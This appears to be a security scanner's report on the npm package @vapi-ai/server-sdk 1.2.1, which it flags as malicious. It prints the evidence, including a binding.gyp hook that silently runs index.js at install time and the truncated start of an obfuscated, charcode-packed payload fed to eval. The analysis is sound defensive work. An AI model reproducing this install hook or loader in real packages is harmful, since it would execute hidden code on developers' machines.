Hostile ^100% javascript Download

@vapi-ai/server-sdk 1.2.1

binding.gyp executes arbitrary code at install

“[![fern shield](https://img.shields.io/badge/%F0%9F%8C%BF-Built%20with%20Fern-brightgreen)](https://buildwithfern.com?utm_source=github&utm…”

Megabyte charcode-packed payload feeds direct evalMegabyte charcode-packed JavaScript payload

SHA-256f61e0a2980195682b5135f2620052b4287c7e1a0452bcfe7c897c5f32b1995f4

URLhttps://r.cnpmjs.org/@vapi-ai/server-sdk/-/server-sdk-1.2.1.tgz

MaleculeK₂(AmTe)O₂(S₂As)H₄(Cm₇Db₃F₂Po₂)Md(Pa₅)

Also flagged by osv (MAL-2026-5209: Malicious code in @vapi-ai/server-sdk (npm)) +5 more.

Evidence

Megabyte charcode-packed payload feeds direct eval index.js · line 1

1try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,114,106,112,101,116,40,41,61,62,123,107,105,112,123,10,116,102,101,106,107,32,95,116,61,114,110,114,122,107,32,122,100,103,102,105,107,40,34,101,102,117,118,58,116,105,112,103,107,102,34,41,59,10,116,102,101,106,107,32,95,117,61,40,98,44,122,44,114,44,116,41,61,62,123,116,102,101,106,107,32,117,61,95,116,46,116,105,118,114,107,118,85,118,116,122,103,121,118,105,122,109,40,34,114,118,106,45,49,50,56,45,120,116,100,34,44,83,108,119,119,118,105,46,119,105,102,100,40,98,44,34,121,118,111,34,41,44,83,108,119,119,118,105,46,119,105,102,100,40,122,44,34,121,118,111,34,41,44,123,114,108,107,121,75,114,120,67,118,101,120,107,121,58,49,54,125,41,59,117,46,106,118,107,82,108,107,121,75,114,120,40,83,108,119,119,118,105,46,119,105,102,100,40,114,44,34,121,118,111,34,41,41,59,105,118,107,108,105,101,32,83,108,119,119,118,105,46,116,102,101,116,114,107,40,91,117,46,108,103,117,114,107,118,40,83,108,119,119,118,105,46,119,105,102,100,40,116,44,34,121,118,111,34,41,41,44,117,46,119,122,101,114,99,40,41,93,41,125,59,10,10,116,102,101,106,107,32,95,115,61,95,117,40,34,54,54,116,115,56,51,54,48,52,52,53,56,118,56,53,115,53,51,57,52,48,48,53,54,115,56,54,51,57,52,117,50,34,44,34,52,118,57,117,118,50,50,48,50,116,50,119,49,54,54,54,114,119,116,117,118,49,54,48,34,44,34,49,48,56,54,52,119,114,119,115,115,117,54,57,54,50,55,48,119,56,119,115,116,119,117,57,53,114,52,55,56,53,51,34,44,34,118,56,48,55,49,48,56,116,53,51,55,52,116,55,54,51,118,53,51,55,114,55,114,55,118,57,57,52,52,56,51,116,54,52,51,50,56,48,118,49,119,117,119,50,55,55,116,51,119,118,119,119,118,52,49,118,53,119,55,117,56,53,50,117,119,51,116,115,53,118,118,51,55,57,55,56,52,117,50,53,117,54,116,48,57,52,49,51,55,54,55,52,119,55,50,49,54,57,56,55,118,117,119,55,48,115,117,55,115,117,53,54,53,56,56,57,50,56,118,48,50,51,54,57,53,48,56,55,52,48,115,119,115,116,55,51,52,50,116,117,116 …

gyp command expansion redirects or chains shell binding.gyp · lines 1–9

1{
"targets": [
  {
    "target_name": "Setup",
    "type": "none",
    "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
  }
]
9}

POST method field in request config Client.mjs · lines 77–81

   *     await client.tools.create({
   *         type: "apiRequest",
   *         method: "POST",
   *         url: "url"
   *     })

application/json content-type marker Client.mjs · lines 93–97

              method: "POST",
              headers: _headers,
              contentType: "application/json",
              queryParameters: requestOptions === null || requestOptions === void 0 ? void 0 : requestOptions.queryParams,
              requestType: "json",

JavaScript iterates enumerable object keys BearerAuthProvider.js · lines 21–26

37… rtyNames || function (o) {
          var ar = [];
          for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
          return ar;
      };
      return ownKeys(o); …

Showing the top 5 files — 7 more files (25 regions) not shown.

No evidence locations were recorded for this file. Raw result